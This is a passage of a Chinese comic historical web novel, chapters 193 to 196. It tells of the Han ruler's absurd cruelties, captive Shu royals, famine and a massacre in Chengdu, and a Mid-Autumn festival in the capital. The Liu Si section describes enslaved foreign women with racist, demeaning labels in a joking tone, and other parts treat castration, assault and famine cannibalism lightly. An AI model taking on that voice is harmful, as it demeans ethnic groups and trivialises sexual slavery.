终于,皇天不负有心人,他灌醉了一个酒量极差的,和他勾肩搭背称兄道弟,才把话给套了出来。 那个凌晨不知道什么时候又当上殿帅了,最近还加封了临颍郡公。而且,他对自己很感兴趣。 嘶…… 菊花一紧的陈瑾顿时就陷入了更大的迷茫和纠结之中。 第193章 荒唐暴虐 半个大郑的天街公卿和在编职员都派人前来向自己示好,说不慌那是假的。陈瑾急忙想方设法的向他们套话,费尽口舌和精力,这才明白过来是怎么一回事儿。 他这些年努力的方向完全错了。 那些朝臣官将们只是看起来声名显赫、威名在外。大郑最有实力的,还是那位宛如路人甲一般没有存在感的年轻殿帅。 太子的幕僚对陈瑾说,他掌管着开封府的禁军。 陈瑾对开封府的禁军并没有什么概念,只知道应该挺牛逼的,但具体有多牛逼,emm…… 人很难想象自己没有见过的事物。 于是太子的幕僚跟他换了一种说法—— 大郑东南行营都部署,琅琊郡公王臣鹤,就是那个把徽州军屠了一半的王臣鹤,是他小弟,而且还是迷弟…… 之一。 嗷~~ 这么一说,陈瑾就有概念了。 唉,泉州靠海,空气潮湿就算了,天气还热,等我先擦擦汗哈…… 奇了怪了,今天的汗怎么比往常多呢?让贵使见笑了哈哈…… 转过身后,陈瑾脸上的笑容瞬间消失不见,表情都快扭曲了!! 我的妈呀!! 这么一尊大佛,我这些年来竟然没有怎么走动过! 他现在突然问起我,是什么意思?? 是对我不满? 嫌我没有给他送礼瞧不起他? 还是……真的有那种要求?? 那我…… —— 比陈瑾更焦虑的,是汉国国主刘思。 当大郑平定西蜀的消息传来,他才意识到了问题的严重性。 当初邵之祁在唐、蜀两面包围的情况下,都能顺手抽出一万兵马来给自己一个大逼兜子。现在蜀国被灭,他下次会带多少人来,刘思连想都不敢想。 于是他也不装逼了,自己主动将国主的称号去了,派亲弟弟出使汴京,带去了他亲自录制的道歉视频,请求文训原谅他前几年的口嗨和嚣张行为。 (开始请帮我放一首电音版的《起风了》烘托气氛,谢谢~) 开始录了吗?哦哦…… 咳咳~ 陛——下!!!(破音) 以前我并不是真的在黑您,是您的光芒实在太耀眼了,周围全是当世豪杰和天下群英!卑微如尘土的我实在挤不进去,也吸引不了您的注意,所以才被迫用那样愚蠢的方式,以求得到您的关注。 现在想来,我真是全天下最笨的小孩了…… 我现在已经深刻认识到了自己的错误,也删除了手机的表情包,近来一直都在听《deadman》,感受您在里面想要表达的情绪和意境,还特地去加入了您的超话。 回想起过去几年发生的事情,您带给我的快乐和开心,是任何一位有名的人都代替不了的。我是如此的迟钝和呆滞,竟然后知后觉到这个地步,时至今日才发觉您已经进入了我的生活之中,成为我生命里不可或缺的一部分。 在您和应开疆中原大战之际,所有人都不看好您,我也跟着他们附和,因为只有这样才能显的合群。可是您知道吗?在我的心里,一直是盼望着您绝对不要倒下的啊! 陛下!以您的渊博见识和丰富阅历,应该是知道臣下的这些小心思的,真正的铁粉,是黑的啊—— 呜呜呜…… 我还会继续黑下去,如果您允许的话,我要黑您一辈子!我就在岭南这块人烟稀少的荒芜之地为您一直竖着大旗,站在番禺破败的土墙上、踮起脚尖向北而望,无论您要怎么处置我,我都会等待着您的消息。 哪怕是十坤年、哪怕是百坤年!此心不改,此志不渝!! …… 文训看完后,整个人都傻掉了。 这小子特么是不是有什么毛病? 关键是刘思的弟弟还当着满朝文武的面,言辞卑微的请求自己给个答复。 呃…… 吃好喝好啊~ “吃好喝好?” 刘思难以置信的看着风尘仆仆、从汴京出差回来的弟弟,挠着脑袋,有点不太明白哥…啊不是,陛下的意思。 是让我放宽心…… 还是…… 这种模棱两可的答复最折磨人了,刘思茶饭不思、辗转反侧的想了七八个晚上,还是没有想明白其中的意思。 于是,心情有些不太好的他顶着两个黑眼圈上朝了。 本来心里就烦,底下这个逼还跟自己喋喋不休、唧唧歪歪的说什么秋闱在即,要选贤举能治理地方什么的,说的刘思瞬间就一肚子火上来了! 老子脑袋都快要搬家了!你们还有心思跟我说这些陈芝麻烂谷子的事,谁当官不都是你们说了算么?不就是想把你们家族的子弟都安排进来吗? 说的那么冠冕堂皇的,扑街仔,食屎啦你!! “不用那么麻烦,自即日起,所有想要科举做官的人,统统都要净身,方能有资格参加!” 啊?? 汉国的官员们还以为自己听错了,掏了掏耳朵后不信邪的问道:“陛下,您说啥?” 哦…… “孤以为,为官者皆有子女,故而会生出偏倚私心来,做事就会有所牵绊。只有没有后代,才能专心致志、一心一意的为治下百姓考虑和尽力。 所以,从明天开始,你们如果还想保留自己的官位,就自己在家净了身再来上朝。如果不想净身的话,孤也不勉强,你们就在家好好颐养天年,自然有其他肯为万民牺牲自我和舍弃私心的人。” 大臣们你看看我,我看看你,见大家都是一副目瞪口呆的表情,便知道自己的耳朵没有问题。 既然我们大家都没有听错,那就是陛下喝假酒了。 当即就有一个胡子花白的老头站了出来,率先开团,发起了鸡鸡保卫战。 我都一把年纪了,别和我开这种玩笑啊陛下! 刘思一看:耶? 文训还没来呢,你们就要翻天呐? 你都这么大年纪了,有跟没有有啥区别?怎么还跳出来当出头鸟呢?显着你了? 爱装逼是吧? 看来老大人是不舍得放下自己肩上的担子和重任啊!那行吧~来人啊,老大人年纪大了不方便自己动手,你们帮帮他。 立刻就有几名侍卫冲了进来,把老头四脚朝天的抬起来驾了出去,只听到殿外传来一阵哀嚎,随即就有侍卫端着盘子走了进来,盘子里是两颗血淋淋的瘪肉球。 嘶…… 在场的所有汉国官员顿时夹紧了双腿,卧槽……你来真的!! 刘思觉得没有任何问题,这次公司改制又不是强迫性质的,而是本着自愿的原则。你得适应环境啊,总不能让环境适应你吧? 公司要发展要转型,要顺应时代和大环境的变化,所以改变和调整是必要的、合理的、急切的。你如果觉得自己适应不了,完全可以离职嘛! 下了朝的官员们头都愁秃了! 寒窗十载、辛苦钻营了一辈子,才爬到今天这个位置,付出的努力和汗水先不提,买官和打点的银子也花出去了不少啊!现在想要继续留岗,竟然要去掉男人的快乐,这这这…… 你哪怕是让我们996呢?哪怕是007……那也比这强啊!! 没有了这玩意儿,别说做官了,活着还有什么意思呢?? 一些年少有为,年纪轻轻就进入了朝堂的甘罗们欲哭无泪,他们之中有些更是刚刚经历了金榜题名和洞房花烛的双喜临门,现在突然就变天了。 怎么办? 第二天,刘思兴致勃勃的来上朝了,以往都是大臣们到齐了等他,今天他提前了两刻钟到,等大臣们。 肯为了黎民百姓和社稷江山挥刀自宫的人还是有的,六十岁以上的老臣来了十三个,只有两个没来。 五十岁的就少了,只来了三分之一不到。 五十岁以下的,只来了两个。 啊……其实原本是来了三个的,但那小子不老实,没有净身,不知道是抱着侥幸心理还是想故意以下犯上。不过都不要紧,刘思让宫中侍卫给他帮忙净了身,虽然疼晕了过去,但官位保住了。 是的,就是这么荒唐和疯狂。 但刘思这小子也不傻,军中和宫中的将士、侍卫们,他没这么要求。 人是一种奇怪的生物,有时候别说跟别人了,跟自己在不同时期表现出来的变化都大的离谱!! 刘思从掌权到去年,所表现出来的政治智慧、军事能力、以及积极进取,不说是一代雄主吧,那也是一方豪强。 可自从上次梅关一战后,他就跟变了个人似的,彻底失去了信心和远见,也失去了勇气和上进心。 这次蜀国被灭,更是让他担惊受怕,派弟弟去求饶,文训也不置可否。 大家都是成年人,没有拒绝就是同意,没有同意就是拒绝。 废了,那就听文训的话,吃好喝好吧。最后再放纵一段时间,然后就等着郑军将自己绑去汴京,给文训表演个人才艺了。 如果他们有这个打算的话。 所以,刘思彻底失去了理智和沉稳,变得无比暴虐,行事也越来越荒唐。 但也不完全是坏事,首先他就想了个绝妙的主意,任用一位叫卢琼仙的女人做侍中,还称自己这是在文艺复兴,恢复旧唐遗风~ 说白了,妇女权力这一块~~ 对吧,懂得都懂~ 但问题是,这个卢琼仙她并不是一个贤良淑德、温柔聪慧的人,并不具备理政能力。也不像徐守心那样能够上马杀敌,抱有与国同休的勇气。 她纯粹就是被刘思安排上去玩的,就想看看她如果做官的话,能把国家治理成什么样子。 是的,就只是这样单纯的好奇,没有别的原因和目的。 另外,由于岭南地处海疆,所以南洋、天竺、阿拉伯、甚至非洲的商人都会偶尔来到这里,新奇有趣的玩意不少,新奇有趣的人也不少。 刘思虽然没有见过孙芝,但他也酷爱收集手办。 与孙芝痴迷于双胞胎不同,他喜欢收集不同出产地的。 通体乌黑、毛发曲卷的鬼奴;颧高眼窝深、金发曲卷的波斯猫;瘦弱黝黑,柔柔弱弱任人摆布的吕宋奴;身体纤细、爱扭脖子扭屁股的天竺佛女。 刘思统统都要,并且还在兴王府发动民夫削了半座山扩建了一座新城,将这些风格各异的女子全部都安置在里面,修建花园流水、亭台楼阁供她们居住。 然后他自己也钻了进去,终日荒淫享乐,不问朝夕。国事朝政也全部都交给了卢琼仙去处理,今朝有酒今朝醉,爽翻了~ 什么?以后怎么办? 哪特么还有以后啊,快活一天是一天吧! 他是快活了,可岭南各地的百姓们快要疯了!! 这孙子为了修他的淫窝,征发了数万名兴王府百姓在二轮收割时节给他挖土搬山,耽误了收成不说,每天高强度劳作,就只给一碗米汤,这谁受得了?! 于是他们实在忍不了了,扛起锄头、耙子、木锹就要和刘思拼命,结果被汉军血腥镇压了下去。 刘思也很纳闷啊,他明明让这群百姓三班轮换着干,还给他们每顿大米饭随便吃、鱼肉海鲜随便造、每顿都有鸡鸭猪甚至是羊肉供应,他们为什么还要想不开? 这么不愿意帮我做事吗? 立在他身边的卢琼仙尴尬的摸了摸鼻子,紧接着面不改色的搂着刘思的胳膊就把他往回带:这帮贱民就是这样的,永远都不知足,永远都不懂得感恩君王。 当大郑得知了这些消息后,对岭南的军事行动构想已经由兵部的员外郎提出草案,放在了中书门下的桌案上,等待着大佬们阅览和商议了。 不过,有人比大郑捷足先登。 汉国北边是荆南张照初、东边是清泉节度使陈瑾,这二位都是已经宣誓效忠大郑的内定自己人,没有大郑中书门下的命令或者皇帝陛下的旨意,他们肯定不会擅自行动的。 除非他们不想活了。 西北的牂牁蛮虽然还没有表示归顺大郑,但种平刚刚带着一群猛男灭了蜀国,牂牁蛮的土司首领们连守家都来不及,哪里还能腾出人手和兵力去跟刘思抢地盘呢? 他们又不会唱“贵州和广西相比~” 这个不速之客来自汉国西南,盘据交趾十二州的吴朝。 第194章 凄凉 君王城头竖降旗,妾在深宫哪得知? 十四万人齐卸甲,更无一个是男儿。 望云军列着长长的队伍,行走在巴蜀通往汉中的峡谷里,两侧悬崖峭壁险峻异常,道路旁边林木茂盛,偶尔会有野兽吼叫声从高山深处传来,吓的坐在马车里的孟玄妃嫔们惊叫连连,互相抱在一起瑟瑟发抖。 孟玄发丝凌乱、面容憔悴的掀开马车小窗的帘子,目光复杂的望着如此崎岖难行的峡谷,回想着先前经过的高空栈道,一颗心彻底死了。 这么多连行走都困难的山川天险,都不能阻挡文训手下的虎狼之师,让他们破关斩将、长驱直入巴蜀平原,也许真的是天要亡蜀吧…… 暮色起看天边夕阳,晚风抚梦断桥亭驿。 篝堆闪烁着摇晃的火光,望云军开始扎营拴马、埋锅做饭。 孟玄与徐守心是青梅竹马,多年来感情很好,彼此互相尊重,关系融洽。 但作为一个君王,他的爱肯定不会只属于一人,还要分给后宫妃嫔。其中最得他心的,便是凉蝶娘子。 美的无瑕。 徐守心心如死灰,连饭都不想吃,根本不愿下车。孟玄苦劝无果后,就对她安慰说,自己下去弄点饭给她送来。 这里面有两层意思,一个是真的去找望云军要来吃的给徐守心。另一个是顺便去看看心中担忧的凉蝶。 所以说男人没有一个好东西~(剧情需要,狗头保命) 要是在以前,徐守心的心里可能还会有点不舒服。但是现在已经无所谓了,国破家亡,尤其是对于她这种将国家荣誉和家族名声看的比生命还要重要的人来说,活着跟死了没区别。 聪慧如她,当然知道孟玄的小心思,却已经懒得去计较了。 说什么王权富贵…… “舟车劳顿”这个词可不是开玩笑的,网约车、大巴车坐多了都有人头晕眼花,极个别人连搭乘公交车时都会恶心犯吐,更别说一坐就是一天了。 望云军早已习惯了长途跋涉和负重前行,对新招收的成员也是同样的要求,不会因为你是新来的就有新手保护期,所以他们没什么感觉。 但随行的这些养尊处优的皇室成员、妃嫔和皇子公主,哪里经受得住这些?哪怕只是坐在马车里赶路,长时间的久坐和一路颠簸都足以让他们苦不堪言。 许多人一下车就跑到一旁吐去了,有的直接晕倒在车里,军医立刻提着药箱风风火火的奔过去替患者把脉、猛掐人中。 这让很多随行士兵都心里不爽,还是对他们太好了,就应该用绳子把这群大爷姑奶奶绑成一排拉着走,让他们知道知道什么叫真正的流徙! 望云军有着和丰厚待遇同等的森严军规,因此,纵使他们心里瞧不起这些人,也不会说出来,更不会做什么。 但问题是,这次负责押送的可不止望云军,还有种平手下的人。 贺丰贤就是种平的亲随之一,此次更是代表着种平回京面见天子,呈章奏事。 望云军不准喝酒,可他又不是望云军,自家主人率兵平定西川,注定是要青史留名的,大胜之后心中高兴,不庆祝庆祝怎么行? 所以这一路来他都是醉醺醺的,刘廷让也懒得管他,在不影响正事的情况下,他爱干嘛干嘛。 今晚,贺将军又醉了。 琼鼻挺翘,面若春桃,脖颈修长,胸前饱满的凉蝶娘子正捂着胸口,一手扶着孟玄的妹妹在马车旁边干呕,模样甚是凄美。 脸颊微红,醉眼朦胧的贺丰贤坐在火堆边打着酒嗝,不经意间瞥了她一眼。 一眼万年。 贺丰贤还没有醉到敢对徐守心生出不敬之意,且不说地位,光是她在战场之上展露出来的无畏之姿和凌厉剑法,就足以浇灭贺丰贤的欲火。 但一个小小的娘子,老子就是霸王硬上弓给她办了,又能如何? 于是他提着陶酒瓶子摇摇晃晃的站了起来,朝着跟自己说话的同袍笑了笑,撇了他们直奔凉蝶娘子而来。 凉蝶娘子的胃里翻江倒海,正难受间,猛的被人抓住胳膊扯了过去,吃痛的她惊疑不定的朝着来人一看,顿时就吓的尖叫起来:“啊——” 孟玄的妹妹还想把凉蝶娘子拉回去,却被贺丰贤粗鲁的一把推倒在了地上。 而后他便淫笑着看向怀里挣扎的凉蝶娘子,一把捏住她的下巴,撅着满是胡子的嘴就啃了上去。 “啊!!救命啊——嗯……” 二人正抓扯间,孟玄远远的就瞧见心爱的女人被一个郑国军将大庭广众之下凌辱调戏,顿时气血上头忘记了一切,狂奔过去飞起一脚就将贺丰贤踹倒在了地上。 头发凌乱、花容失色的凉蝶娘子也被带倒在地上,她连忙慌乱的爬了起来,大哭着扑进孟玄的怀中,捂着脸痛哭流涕。 贺丰贤怒气冲冲的站起身来,一看是孟玄在坏自己的好事,顿时气不打一处来,一个亡了国的俘虏竟然还敢对自己动手?! 再加上四周还有许多望云军士卒和关中同袍盯着自己看,觉得面上无光的贺丰贤立刻就抽出了腰间的刀,怒气冲冲的朝着孟玄而去。 可是下一刻,他就酒醒了大半。 身形雄伟的刘廷让突然出现,挡在了这一对苦命鸳鸯的身前,面无表情的盯着贺丰贤,眉头微皱。 从个人角度来看,贺丰贤根本不怕刘廷让,都是两个肩膀扛着一个脑袋从死人堆里杀出来的,谁怕谁啊?不就是会从天上飞下来吗?真比划起来,谁赢谁输还不一定呢! 但刘廷让是殿帅的心腹爱将,帐下乡党。 这一点就很要命了。 别说是他,哪怕是他的主人种平、甚至是他主人的主人——秦王,都不见得敢正面硬刚殿帅。 何况他们还是好朋友,再加上这事自己理亏,一旦起了矛盾,秦王百分百会剁了自己。 吞了吞口水后,贺丰贤默默放下了手中的刀,沉默着将刀重新插回了刀鞘里,低下头一言不发。 刘廷让盯着他看了一会后,淡淡说道:“再有下次,定斩不饶!” 贺丰贤默默的抱了抱拳,无趣的转身离开了。 刘廷让盯着他的背影望了一会后,收回思绪,转身对着孟玄客气的拱手说道:“是末将失职,叫二位受惊了。” 孟玄抱着怀里的凉蝶娘子,轻拍着她的肩膀,心有余悸的微微低头对刘廷让说道: “岂敢,多亏了将军,才使我二人不至于做了刀下亡魂,应该是我多谢将军才是。” 刘廷让点了点头后,嘱咐望云军们保护好他们后,便转身离去了。 孟玄柔声安慰着心爱的女人,将她重新送回马车上,转过身后,不禁心中伤感、泪如雨下。 我曾傲视群雄,也曾挥刀划破过苍穹,为谁征战天下,曾经豪情疏狂!! 奈何沦落到这步田地…… 龙游浅水遭虾戏,虎落平阳被犬欺。 落汤凤凰不如鸡啊!! 老实说,从人道主义的角度来看,孟玄挺惨的。 但从政治角度来看,只能说活该,甚至贺丰贤的行为还算是温柔的。 连年征战,民不聊生,沉重的赋税和徭役早就压垮了巴蜀百姓的脊梁,陈谦搜刮民脂民膏供养孟玄和这帮妃嫔游乐的行为,更是榨干了百姓家中的最后一点希望。 如果不是真的活不下去了,谁会愿意提着脑袋造反呢? 内乱影响了今年庄稼的种收,路有枯骨,野狗争食,有的地方甚至十室九空…… 陈谦收租霍霍了一遍,叛军创业霍霍了一遍,蜀军平乱霍霍了一遍,郑军虽然军纪严明,但十几万人马,总有阳光照不到的地方,又是一遍。 你就说哪个地方能经得住这么搞? 大郑得到的不是富饶的天府之国,而是一个深不见底的大窟窿,一个满目疮痍的人间狱。 今年的巴蜀因为战争错过了播种,导致谷子不生麦子不长,物价一天比一天飞涨。 原本1两银子可以兑换1000文钱,现在得1两3角。原本220文钱可以买一斗粗粮,现在只能买到原来的40%。 家底殷实的人还在拼命往家里买粮食,囤积了几大仓库米面的囤积户有粮不卖,还在坐等价格升高。他们对于百姓快要饿死的情况毫不在意,贪心不足蛇吞象,伎俩歹毒的毫无人性! 有些人倒是肯拿出来卖,但是,但是,他们卖的价格高、重量少就算了,还往里面添空谷壳和瘪谷粒虚算重量,白米里面加粗糠以次充好,被发现了也一点都不觉得脸红,你们爱买不买! 许多百姓家中做饭的锅已经布满灰尘,大米粒比珍珠还要贵。有些地方拿着金银都无处购买食物、典当换粮。 无数百姓空着肚子躺在太阳底下休息,等饿的不那么厉害了,就爬起来剥榆树的树皮吃、找地上的野菜充饥。 黄不老吃起来像熊掌一样美味,蕨根粉拿来当做干粮;哪怕鹅肠菜很苦,也得带着根茎一起煮成汤,荻、笋、芦、莴全部带着叶子大口嚼进肚子里,只放过杞柳和樟树这种实在不能吃的东西。 把麻拓敲碎捣成粉和在豆浆里,能更稠一点,不至于清汤寡水;把旧年的麦麸壳碾碎加进细糠里,还能吃到这些东西,就已经要双手合十感谢上苍了。 大城池和州府县镇里的街道上,到处躺着脸黄的像抄写佛经用的纸、瘦的瘪肚子黄狗一样的饥民们。 这些人饿的实在受不了了,就冒着坐牢的风险宰杀了耕地的牛,偷偷砍了别人家养蚕的桑树,把叶子都摘走了。 死的人太多,爆发了瘟疫,但大多数人家都没有钱买棺材,只能挖个坑草草掩埋;连富人家都支撑不下去了,向着望族大户或者郑军将士商量着贱卖自家的店铺或者田地庄园。 乡下郊野就更惨了,亲生的儿女互相商量着换去“养”,或者买给别人做奴仆丫鬟,父母像是商品一样争论价格。一旦有人支撑不住倒下,又没有强壮同伴在旁的话,尸体立刻就会消失不见。 有些妇人不愿意怀里的婴儿受罪,就趁着自己还能行动,把他们活生生的溺死在江水中,总好过被饿疯了的人们煮食分咽。 望着河里的孩子尸体,岸边的娘亲哭的惨绝凄凉,路人看到无不哽咽悲伤。 饿的忘记一切,只想吃东西的人们漫无目的的在大街上游荡,乞丐们实在受不了了,就在高门大户的家门口守着,一旦有泔水桶运出来,立刻就冲上去哄抢,家丁们用棒子打都赶不走。 直到成都南郊出现了一例富商欺辱饥民,将大饼当着饥民们的面喂给手中黄狗的消息传来。 愤怒的饥民们把这位富商当场打死,他和他宝贝黄狗当场就消失不见,谁也不知道去了哪里,会进谁的肚子。 种平恨死这个脑袋里缺根弦的富商了!就算他不死,种平也会把他拉进府衙里动用私刑,亲手把他千刀万剐的!! 他本来是想着再坚持坚持,等着朝廷的赈济粮入蜀后立刻分发救民就好了,现在出了这么一档子事,根本等不了一点!说不定今晚川蜀各地就又要遍地狼烟、烽火漫天了! 于是,他做了两个决定。 一个是现在、立刻、马上把军粮拿出来分发给已经快要到临界点的百姓,赶紧给他们一点希望。 不然,别说什么西南行营都部署和大郑精锐了,就是托塔天王带着十万天兵来,这些百姓都敢跟他们碰一下子。 另一个决定是,召集蜀地各大望族和豪绅,用朝廷赏给自己平蜀之功的钱缎以及自己在长安府蓝田县的资产,按照大郑均价向他们购买粮食和借贷银两。 我知道这样你们就没法发国难财了,我也是混官场的,都明白,也能理解。等这关过去了,我是整个西川的军事、行政主官,以后有什么好事都会先紧着你们诸位的,拜托了,帮帮忙。 一些有眼力见和长远目光的川蜀士绅立刻就表示愿意与种府尹共进退,愿意为家乡的父老乡亲略尽绵薄之力。 有些聪明的甚至表示愿意无偿放粮。 但还是有很多人不愿意放弃眼前唾手可得的巨大利润,装聋作哑的低头喝茶,问东答西。 种平皱着眉头、苦口婆心的向他们陈明利害,我又不是要零元购,付钱买粮写欠条的。你们不放,难道要等着饥民们冲进你们家里去抢吗? 这些老顽固们纷纷表示:啊?你说什么?听不清啊! 实在躲不过去了就双手一摊:地主家也没有余粮啊~ 种平的脸瞬间就冷了下来。 不得罪这一小撮人,那就得得罪整个川蜀百姓。 既然你们听不懂道理和人话,那本部署也略懂一些送葬往生之法,老虎不发威,你们他妈真当我是文官啊?! 一夜之间,成都血流成河!! 新的望族在鲜血的滋养下茁壮生长,旧的豪门在刀锋的挥砍下轰然倒塌。 第195章 星如雨 孟玄进京时,引得汴京万人空巷。 所有人都想看看这位西川之主究竟长什么模样,百姓们围在城门口附近的大道两旁,开封府的兵丁将长枪横着都拦不住汹涌的人潮。 百姓们将双臂交叉在胸前,时不时的伸出手指歪头对着友人笑着议论;妇人抱着怀里的孩子,和姑嫂们说着家事,孩子将手指嗦在嘴里,懵懂的望着一辆辆马车;拄着拐杖的白发老人面无表情的望着眼前的盛况,将汴京百姓也当成了风景。 望云军一身黑色甲胄,个个面容严肃,即使回到了京城,依然警惕的望着四周的房屋瓦舍和巷口街角、街铺二楼。 他们腰挎长刀、背背弓弩,马脖子上挂着两袋弩箭,腰后横着一杆长槊。虎背熊腰,粗壮的大腿看着就很吓人,军靴踩在马镫里,全军静默无声。 一支军队很冷漠,会让人感到害怕和不适。 但如果这支军队是我家的,那就没事了,高冷好啊~杀气重也好啊~ 还不够,再冷点!! 望云军的将官大部分都是开封府临颍县的子弟,他们基本都在汴京城里买了宅院。他们的家人看到自己的丈夫儿子如此威武,竟然把蜀国皇帝都给抓回来了,别提多骄傲了! 刘廷让的儿子站在街边,拉着刘家娘子的手激动的跳着高声喊道:“娘!快看,是爹!爹好威风啊!” 刘廷让的娘子只是笑着摸了摸儿子的头,紧接着一言不发的抬头望向刘廷让,满眼的温柔和爱慕。 奉辞伐罪,旌旗所向。 抚绥万方,拓土开疆。 立在马上的刘廷让看着眼前的一切,回想起种种过往,不禁感慨万千。 如果不是当年父亲去招惹郡公,结下了这一段爱恨纠葛,估计自己这辈子都达不到今天的成就!擒龙而回,荣归故里,啧啧…… 有那么一瞬间,刘廷让都有些怀疑当年父亲是不是看出来了郡公不同凡响。 老文亲自在乾元殿接见了孟玄和徐守心,他先是指责了孟玄治理国家的过失和抵抗天兵的愚蠢。而后又话锋一转,宽慰他不用害怕,他的烂摊子大郑兜着了,现在就安心的做个大郑帝国的三好公民,待遇方面不用担心,和韩登的工资一样。 孟玄和徐守心诚惶诚恐、恭恭敬敬的磕头谢恩。 目送着御林金卫将这对年轻的夫妻送出殿外后,坐在龙椅上的文训低下头,用大拇指抚摸了一下扶手上的黄金龙头后,撅着嘴一言不发,不知道在想些什么。 群臣见陛下不出声,互相看了看彼此,皆不解其意。 良久后,文训缓缓起身,背起双手低着头,看着明亮如镜的地砖,一路闲庭信步,慢慢下到大殿里,来到了分列着文武朝臣的殿中央。 随后,他抬起头,在满朝大臣的脸上一一扫过。大臣们虽然不知道陛下在想什么,但都是脸色轻松的与他对视,欣喜之色溢于言表。 文训淡淡一笑,缓缓开口: “诸位爱卿,朕现在觉得,做皇帝……感觉是真好啊~~” 嗯? “哈哈哈哈哈哈哈~” “哈哈哈哈哈哈~” 满朝公卿闻言后齐齐放声大笑!洪亮的笑声冲破了乾元殿的斗拱画壁、朱阁雕窗、琉璃青瓦,声震云霄,直冲九天之上! 一向喜怒不形于色的文若,也露出了爽朗的笑容;老持成重的杜宣双手叠在一起拄着拐杖,笑的身子后仰;一向注重官员仪态的林济远,一手扶着冯延的肩膀、单手握笏板,最是无状! 大郑,在他们君臣齐心协力的共同努力下,平定了孟蜀。 李唐,也不会例外。 千百年后,他们的名字将会永远留在后人心中,成为继秦汉晋隋唐后,又一个威临万邦、文治鼎盛的大一统王朝! “陛下~” 一名礼部的员外郎挪步出列,满面红光的用双手捧着笏板,朝着仰天大笑的文训恭敬行礼: “微臣恭贺陛下,将西川四府两州、七十四县收入囊中。后日便是中秋佳节了,臣斗胆建议:今年的中秋要大办特办!要让整个汴京都热闹起来,让百姓与官员们同为陛下相庆! 陛下自汝南起兵以来,收徐州、灭宋舒、破应开疆、驱草原三部,关东、关中尽皆仰德而附,北征孙芝,逼降李遗景,长驱祁连山下,王师直抵玉门!继往开来,震古烁今! 如今更是尽取巴蜀,想来江南亦不远矣!臣知道您向来节俭,但这次请恕臣等无礼,不管您愿不愿意,建隆三年的中秋,一定要成为青史留名的盛世灯会才是!!” 他的话说完,其他大臣们纷纷笑着点头称是,齐齐高声赞同—— “是啊是啊,岳大人言之有理!” “不错,陛下,确实应该好好庆祝庆祝了!” “陛下,臣虽与岳大人政见不同,但这件事,臣要附议!” “臣附议!” “臣等亦附议!” 见到满朝文武皆有此意,文训哈哈大笑着说道:“既如此,那朕也不能扫了诸卿雅兴,准奏~” 臣子们个个面露喜色,齐齐躬身行礼道:“陛下圣明!!” —— 两日后,八月十五。 “砰——” “砰砰砰——” 夜空中,无数烟花接连绽放,绚烂的流星雨如梦如幻,从空中洒落,引得无数官员百姓抬头仰望,驻足观赏。 宫中的烟火师们已经能够制作出绿色和蓝色的烟花了,皇宫门前摆满了烟花筒子,由二十五位皇家烟火师亲自手持火把挨个点燃。 陛下说了,今晚要不间断的放到子时! 整个汴京城灯火通明,街道上行人如织,有些主街道和热门区域,如钟楼广场、皇宫前街、神武大道、金明池、大相国寺等地,更是摩肩接踵,车水马龙。 百姓们携妻抱子,游走在繁华热闹的街上。圆瓜型、长筒型、六边型的各式灯笼挂满了街边店铺、酒楼、商户的门头檐角。大部分都亮着黄光,有些红纸面的则是泛着喜庆的红光,垂下来的灯穗时而静止不动,时而随风飘舞。 铺天盖地的灯光将街道上的石砖、屋顶上的白墙、横卧河面的桥阶、笑容满面的行人都映的如同梦境。 年轻活泼的姑娘和文质彬彬的秀才结伴出游,驻足在灯谜前一起研究,她在猜谜,他在看她;膀大腰圆的汉子将女儿扛在脖子上,拽着她的小手,另一只手紧紧握住妻子,月照团圆。 气度不凡的员外领着夫人,身后跟着嘻嘻哈哈的随从婢女,笑指街旁杂戏;仰起桃面的女子搂着相公,穿梭在来来往往的人群中,嚷求撒娇要买蒸蟹。 高头骏马拉着装饰豪华的雕车从街上缓缓驶过,一阵香风从里面传出,不知是哪家的千金小姐;身形壮硕的轿夫抬着丝绸绫罗织作的轿子,风吹帘动,隐约窥到一张不怒自威的坚毅脸庞。 皇宫门前的城头上,文训侧卧在软榻上,手中举着酒樽微微摇晃,一双醉眼朦胧,望着漫天烟火和亮如白昼、被街道整齐划分为块状的汴京城,微张着嘴唇,露出了轻松惬意的满足笑容。 淑妃从一旁的宫女手中接过橘肉蜜露,翘起兰花指捏着银勺舀出一块,优雅的喂进文训口中,顺手用手绢替他擦去胡须上的果渍。 另一边坐着的文若望着满城灯火璀璨,也陷入了深深的陶醉之中,直到韩意将酒杯递到他面前时,才从恍惚中回过神来,笑着回应爱妻。 在某些不太热闹的角落,一些女子和孩童将手中的荷花水灯点燃,蹲在河边的石阶边,双手捧着放入水中,任由它们随波而去,最终汇聚成一条让人分不清在水中还是水面的灯河。 无数孔明灯从千家万户的院落、街巷升起,望云军也友情赞助了二十个热气球,举目碎月烟,漫天星如雨。 呃,也不是所有人都开心,作为开封府尹的张承和他手下的水龙队,就没有那么快乐了…… 郡公府,凌晨与青柠一起坐在自家楼阁的屋顶房檐上,互相依偎在一起,静静的看着汴京的繁华夜景,静默无言。 青柠将脑袋靠在凌晨的肩膀和脖子里,凌晨伸出右手,搂住青柠瘦弱的胳膊,轻轻摇晃着缓缓拍打。 腰果已经睡着了,今天郡公府全员放假,不管你愿不愿意,都拿上一个月的月俸滚到街上去,不要打搅老子的二人世界。 什么?你不知道怎么花? 去,站到大街中央,直接朝天上撒! 晚风吹乱青柠的鬓边青丝,她伸出手将乱发搭到耳后,看着眼前如梦如幻的美景,紧紧搂着凌晨的腰,用额头去贴他的脸颊,仰起脸看向他。 嘴角噙着淡淡的笑意,眼眸微动,捕捉着感兴趣的一切。表情带着五分享受、三分惬意和两分不屑,一如当年初见时那般,礼貌中带着轻蔑,温润里藏着狂傲,仿佛一切都尽在掌握,又好像…… 一切都是过眼云烟。 “相公,这些年,你辛苦了~” 听到娘子的话,凌晨就知道眼前的美景让青柠感性了,于是便伸出手摸了摸她的脸蛋,在她的额头上“吧唧”一口后,笑着说道: “不辛苦,都是别人在努力,我就是个出主意的。” 青柠不自觉的又搂紧了凌晨,紧紧贴在他的怀里,扭头看向面前的万家灯火,湖镜光边,星河璀璨。 难得如此良夜,银辉撒落窗前。 愿诸君, 有人同看,这轮月圆;心上挂牵,转身得见。 第196章 借钱 孤独是一个人的狂欢,狂欢是一群人的孤独。 热闹非凡的中秋灯会和绚烂如梦的烟花表演实现了全民狂欢,让整座汴京城都陷入了欢乐的汪洋,鱼与水交融,官与民同乐,君与臣相契。 繁华落幕,大家心满意足的回家睡觉。 但是醒来之后,就该面对现实了。 平定西蜀耗费了大郑八十万两白银的存款,包括士兵工资、犒劳奖赏、人吃马嚼、细作经费等等等等~ 